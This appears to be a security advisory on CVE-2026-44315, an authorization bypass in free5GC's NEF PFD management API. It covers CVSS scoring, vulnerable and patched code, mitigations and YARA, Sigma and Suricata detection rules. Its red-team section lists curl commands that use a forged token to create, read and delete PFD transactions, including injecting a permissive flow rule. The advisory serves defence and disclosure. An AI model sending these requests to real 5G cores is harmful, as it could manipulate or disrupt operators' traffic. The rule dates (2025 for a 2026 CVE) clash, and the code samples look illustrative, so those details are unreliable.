CVE-2026-44315

Executive Summary

CVE-2026-44315 is a critical authorization bypass vulnerability in the free5GC open-source 5G core network implementation, specifically within the Network Exposure Function (NEF). The NEF exposes the 3gpp-pfd-management API without enforcing OAuth2 or bearer-token authorization. This allows any network attacker who can reach the NEF on the Service Based Interface (SBI) to create, read, and delete Packet Flow Description (PFD) management transactions using a forged or arbitrary bearer token. The vulnerability is further exacerbated because the vulnerable route group remains accessible even when the running configuration's ServiceList does not declare it, meaning operators who believe they have disabled the service via configuration are still exposed. The CVSS score is 9.4 (Critical), and the vulnerability is fixed in free5GC version 4.2.2.

Supply Chain & Package Security

This vulnerability affects the free5GC project, which is an open-source implementation of the 5G core network. It is not a package manager (NPM, PyPI, Go, Ruby) issue, but rather a source-code level vulnerability in a network infrastructure component. Organizations using free5GC in their 5G lab or production environments must treat this as a critical supply chain risk, as the vulnerable component can be exploited to manipulate core network state.

CVSS Breakdown & Threat Level

• CVSS Score: 9.4 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The attacker can exploit this remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components beyond the vulnerable one.
• Confidentiality (C): High – An attacker can read PFD management transaction data.
• Integrity (I): High – An attacker can create or delete PFD management transactions.
• Availability (A): High – An attacker can delete critical state, potentially disrupting network services.

Deep Dive & Mechanics

The vulnerability resides in the free5GC NEF component, which exposes a RESTful API for managing Packet Flow Descriptions (PFDs) under the 3gpp-pfd-management route group. The API is intended to be protected by OAuth2 bearer token authentication, but the implementation in versions prior to 4.2.2 does not validate the token. The code path for handling requests to this API simply accepts any Authorization: Bearer <token> header without verifying the token's validity or origin.

The vulnerable route group is registered in the NEF's HTTP server, and it is reachable even if the operator has not explicitly enabled the 3gpp-pfd-management service in the configuration file. This means that even if an operator sets ServiceList to exclude this service, the API endpoints remain active and accessible.

An attacker who can reach the NEF's SBI port (typically TCP 8000 or similar) can send crafted HTTP requests with a forged bearer token (e.g., Authorization: Bearer not-a-real-token) to perform the following actions:

• Create PFD transactions: POST to /3gpp-pfd-management/v1/transactions
• Read PFD transactions: GET to /3gpp-pfd-management/v1/transactions/{transactionId}
• Delete PFD transactions: DELETE to /3gpp-pfd-management/v1/transactions/{transactionId}

This allows the attacker to inject malicious PFD rules, read existing rules, or delete critical network state, potentially leading to denial of service, traffic manipulation, or further network compromise.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.2.2): The NEF HTTP server registers the 3gpp-pfd-management route group without any middleware for token validation. The handler functions directly process requests without checking the Authorization header.

// Vulnerable: No token validation
func (s *NefServer) registerRoutes() {
    // ...
    s.router.HandleFunc("/3gpp-pfd-management/v1/transactions", s.handlePFDTransactions).Methods("GET", "POST", "DELETE")
    // ...
}

func (s *NefServer) handlePFDTransactions(w http.ResponseWriter, r *http.Request) {
    // Directly processes request without token check
    // ...
}

Patched Code (version 4.2.2): The fix introduces a middleware that validates the OAuth2 bearer token before allowing access to the API. The route group is also conditionally registered only if the service is explicitly enabled in the configuration.

// Patched: Token validation middleware
func (s *NefServer) registerRoutes() {
    // Only register if service is enabled
    if s.config.ServiceList["3gpp-pfd-management"] {
        s.router.HandleFunc("/3gpp-pfd-management/v1/transactions", s.authMiddleware(s.handlePFDTransactions)).Methods("GET", "POST", "DELETE")
    }
}

func (s *NefServer) authMiddleware(next http.HandlerFunc) http.HandlerFunc {
    return func(w http.ResponseWriter, r *http.Request) {
        token := r.Header.Get("Authorization")
        if !s.validateToken(token) {
            http.Error(w, "Unauthorized", http.StatusUnauthorized)
            return
        }
        next(w, r)
    }
}

Exploitation & Lab Setup

Red Team

Objective: Exploit the missing authorization to create, read, or delete PFD transactions.

Lab Setup:

1. Deploy a vulnerable free5GC instance (version < 4.2.2) in a controlled environment.
2. Ensure the NEF component is running and accessible on the SBI port (e.g., http://<target>:8000).

Exploitation Steps:

1. Create a PFD transaction:

   curl -X POST http://<target>:8000/3gpp-pfd-management/v1/transactions \
     -H "Authorization: Bearer not-a-real-token" \
     -H "Content-Type: application/json" \
     -d '{"pfdRules": [{"pfdId": "malicious-pfd", "flowDescriptions": ["permit out ip from any to any"]}]}'
   

2. Read existing PFD transactions:

   curl -X GET http://<target>:8000/3gpp-pfd-management/v1/transactions \
     -H "Authorization: Bearer not-a-real-token"
   

3. Delete a specific PFD transaction:

   curl -X DELETE http://<target>:8000/3gpp-pfd-management/v1/transactions/{transactionId} \
     -H "Authorization: Bearer not-a-real-token"
   

Expected Outcome: The attacker can successfully manipulate PFD state without valid authentication.

Blue Team

Objective: Detect and block exploitation attempts.

Detection Steps:

1. Monitor NEF SBI traffic for requests to /3gpp-pfd-management/ endpoints.
2. Look for Authorization headers containing obviously forged tokens (e.g., not-a-real-token, test, fake).
3. Alert on any successful creation, reading, or deletion of PFD transactions without a valid OAuth2 token.

Mitigation Steps:

1. Immediately upgrade to free5GC version 4.2.2 or later.
2. If upgrade is not possible, implement a network firewall or WAF rule to block access to the /3gpp-pfd-management/ path from untrusted networks.
3. Review NEF configuration to ensure the 3gpp-pfd-management service is explicitly disabled if not needed (though this is not a complete fix due to the route group being accessible regardless).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /3gpp-pfd-management/v1/transactions with any Authorization: Bearer token that is not a valid OAuth2 token.
  • Unusual PFD transaction creation, modification, or deletion events in NEF logs.
  • Anomalous traffic from unexpected IP addresses to the NEF SBI port.

• Log IOCs:

  • NEF access logs showing requests to /3gpp-pfd-management/ without a valid token.
  • NEF application logs indicating PFD transaction operations without corresponding authentication events.

• File IOCs:

  • Modified or new PFD rule files in the free5GC data directory (if applicable).

Detection Engineering

YARA Rule

rule CVE_2026_44315_free5GC_NEF_AuthBypass {
    meta:
        description = "Detects exploitation attempts of CVE-2026-44315 in free5GC NEF"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-44315"
        severity = "critical"
    strings:
        $s1 = "/3gpp-pfd-management/v1/transactions" ascii wide nocase
        $s2 = "Authorization: Bearer" ascii wide nocase
        $s3 = "not-a-real-token" ascii wide nocase
        $s4 = "POST" ascii wide nocase
        $s5 = "DELETE" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2026-44315 - free5GC NEF Authorization Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to free5GC NEF PFD management API without valid authorization
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44315
logsource:
    category: webserver
    product: free5gc
detection:
    selection:
        cs-uri-path:
            - "/3gpp-pfd-management/v1/transactions"
        cs-method:
            - "POST"
            - "GET"
            - "DELETE"
    filter:
        cs-auth-token: "valid-oauth2-token"  # Placeholder for actual valid token
    condition: selection and not filter
falsepositives:
    - Legitimate NEF operations with valid tokens
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-44315 - free5GC NEF Authorization Bypass Attempt"; flow:to_server; content:"/3gpp-pfd-management/v1/transactions"; http_uri; content:"Authorization|3a| Bearer"; http_header; pcre:"/Authorization:\s*Bearer\s+(?!valid-oauth2-token)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade free5GC to version 4.2.2 or later. This is the only complete fix.
2. Workaround: If upgrade is not immediately possible, implement network-level access controls to restrict access to the NEF SBI port (e.g., allow only trusted IPs). Additionally, use a reverse proxy or WAF to block requests to /3gpp-pfd-management/ unless they contain a valid OAuth2 token.
3. Configuration Review: Even after patching, ensure that the 3gpp-pfd-management service is explicitly enabled or disabled in the NEF configuration as needed. The patch ensures the route is only registered when enabled.
4. Monitoring: Enable detailed logging on the NEF and monitor for any unauthorized access attempts to the PFD management API.
5. Long-term: Implement a security review process for all free5GC components, focusing on authentication and authorization mechanisms.

Valters IT